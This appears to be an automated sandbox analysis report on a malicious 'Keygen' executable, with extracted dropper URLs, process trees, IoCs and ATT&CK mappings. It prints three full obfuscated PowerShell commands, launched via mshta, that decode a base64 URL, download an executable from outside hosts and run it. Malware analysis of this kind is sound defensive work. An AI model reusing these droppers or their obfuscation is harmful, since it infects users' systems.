3a27b002eab25417e6ef4cdeb35edd40755a0a20f6c701842f10bfa9448e5c89

Resubmissions

02-10-2020 21:14

201002-pjxdl9y6a6 10

01-10-2020 20:51

01-10-2020 20:51

01-10-2020 20:51

01-10-2020 20:51

01-10-2020 20:51

01-10-2020 20:51

01-10-2020 20:49

Analysis

max time kernel
4s
max time network
148s
platform
windows10_x64
resource
win10
submitted
02-10-2020 21:14

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General

Target

201001-nyhbt4p25j_pw_infected/Keygen — копия (68) — копия.exe

Score

10^/10

Malware Config

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://bit.do/fqhHT

exe.dropper

http://bit.do/fqhHT

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://zxvbcrt.ug/zxcvb.exe

exe.dropper

http://zxvbcrt.ug/zxcvb.exe

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://bit.do/fqhJv

exe.dropper

http://bit.do/fqhJv

Signatures

Downloads MZ/PE file
Executes dropped EXE 1 IoCs

Processes:

Keygen.exe

pid process

1852 Keygen.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Delays execution with timeout.exe 2 IoCs
evasion

Processes:

timeout.exetimeout.exe

pid process

2928 timeout.exe
2636 timeout.exe
Modifies registry class 1 IoCs

Processes:

description ioc

Key created \REGISTRY\USER\S-1-5-21-2066881839-3229799743-3576549721-1000_Classes\Local Settings
Suspicious use of SetWindowsHookEx 1 IoCs

Processes:

Keygen.exe

pid process

1852 Keygen.exe

pid	process
1852	Keygen.exe

pid	process
2928	timeout.exe
2636	timeout.exe

description	ioc
Key created	\REGISTRY\USER\S-1-5-21-2066881839-3229799743-3576549721-1000_Classes\Local Settings

pid	process
1852	Keygen.exe

Suspicious use of WriteProcessMemory 30 IoCs

Processes:

mshta.exemshta.exemshta.exe

description	pid	target process
PID 1680 wrote to memory of 1852	1680	Keygen.exe
PID 1680 wrote to memory of 1852	1680	Keygen.exe
PID 1680 wrote to memory of 1852	1680	Keygen.exe
PID 1680 wrote to memory of 2148	1680	mshta.exe
PID 1680 wrote to memory of 2148	1680	mshta.exe
PID 1680 wrote to memory of 2148	1680	mshta.exe
PID 1680 wrote to memory of 2224	1680	mshta.exe
PID 1680 wrote to memory of 2224	1680	mshta.exe
PID 1680 wrote to memory of 2224	1680	mshta.exe
PID 1680 wrote to memory of 2636	1680	timeout.exe
PID 1680 wrote to memory of 2636	1680	timeout.exe
PID 1680 wrote to memory of 2636	1680	timeout.exe
PID 1680 wrote to memory of 2060	1680	mshta.exe
PID 1680 wrote to memory of 2060	1680	mshta.exe
PID 1680 wrote to memory of 2060	1680	mshta.exe
PID 2148 wrote to memory of 232	2148	mshta.exe	powershell.exe
PID 2148 wrote to memory of 232	2148	mshta.exe	powershell.exe
PID 2148 wrote to memory of 232	2148	mshta.exe	powershell.exe
PID 2224 wrote to memory of 220	2224	mshta.exe	powershell.exe
PID 2224 wrote to memory of 220	2224	mshta.exe	powershell.exe
PID 2224 wrote to memory of 220	2224	mshta.exe	powershell.exe
PID 2060 wrote to memory of 3924	2060	mshta.exe	powershell.exe
PID 2060 wrote to memory of 3924	2060	mshta.exe	powershell.exe
PID 2060 wrote to memory of 3924	2060	mshta.exe	powershell.exe
PID 1680 wrote to memory of 1992	1680	mshta.exe
PID 1680 wrote to memory of 1992	1680	mshta.exe
PID 1680 wrote to memory of 1992	1680	mshta.exe
PID 1680 wrote to memory of 2928	1680	timeout.exe
PID 1680 wrote to memory of 2928	1680	timeout.exe
PID 1680 wrote to memory of 2928	1680	timeout.exe

C:\Users\Admin\AppData\Local\Temp\208E.tmp\Keygen.exe
Keygen.exe
1⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
PID:1852

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\208E.tmp\m.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
1⤵
- Suspicious use of WriteProcessMemory
PID:2148

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL iguyoamkbvf $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;iguyoamkbvf umgptdaebf $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|umgptdaebf;iguyoamkbvf rsatiq $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL2JpdC5kby9mcWhIVA==';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);rsatiq $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
2⤵
PID:232

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\208E.tmp\m1.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
1⤵
- Suspicious use of WriteProcessMemory
PID:2224

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL iyhxbstew $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;iyhxbstew bruolc $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|bruolc;iyhxbstew cplmfksidr $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL3p4dmJjcnQudWcvenhjdmIuZXhl';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);cplmfksidr $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
2⤵
PID:220

C:\Windows\SysWOW64\timeout.exe
timeout 1
1⤵
- Delays execution with timeout.exe
PID:2636

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\208E.tmp\b.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
1⤵
- Suspicious use of WriteProcessMemory
PID:2060

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL omdrklgfia $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;omdrklgfia yvshnex $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|yvshnex;omdrklgfia gemjhbnrwydsof $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL2JpdC5kby9mcWhKdg==';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);gemjhbnrwydsof $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
2⤵
PID:3924

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\208E.tmp\b1.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
1⤵
PID:1992

C:\Windows\SysWOW64\timeout.exe
timeout 2
1⤵
- Delays execution with timeout.exe
PID:2928

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\208E.tmp\Keygen.exe

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C:\Users\Admin\AppData\Local\Temp\208E.tmp\Keygen.exe

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C:\Users\Admin\AppData\Local\Temp\208E.tmp\b.hta

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C:\Users\Admin\AppData\Local\Temp\208E.tmp\b1.hta

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C:\Users\Admin\AppData\Local\Temp\208E.tmp\m.hta

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C:\Users\Admin\AppData\Local\Temp\208E.tmp\m1.hta

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C:\Users\Admin\AppData\Local\Temp\208E.tmp\start.bat

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memory/220-15-0x0000000000000000-mapping.dmp

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memory/232-14-0x0000000000000000-mapping.dmp

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memory/1852-3-0x0000000000000000-mapping.dmp

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memory/1852-2-0x0000000000000000-mapping.dmp

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memory/1992-18-0x0000000000000000-mapping.dmp

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memory/2060-13-0x0000000000000000-mapping.dmp

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memory/2148-7-0x0000000000000000-mapping.dmp

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memory/2224-9-0x0000000000000000-mapping.dmp

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memory/2636-10-0x0000000000000000-mapping.dmp

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memory/3924-16-0x0000000000000000-mapping.dmp

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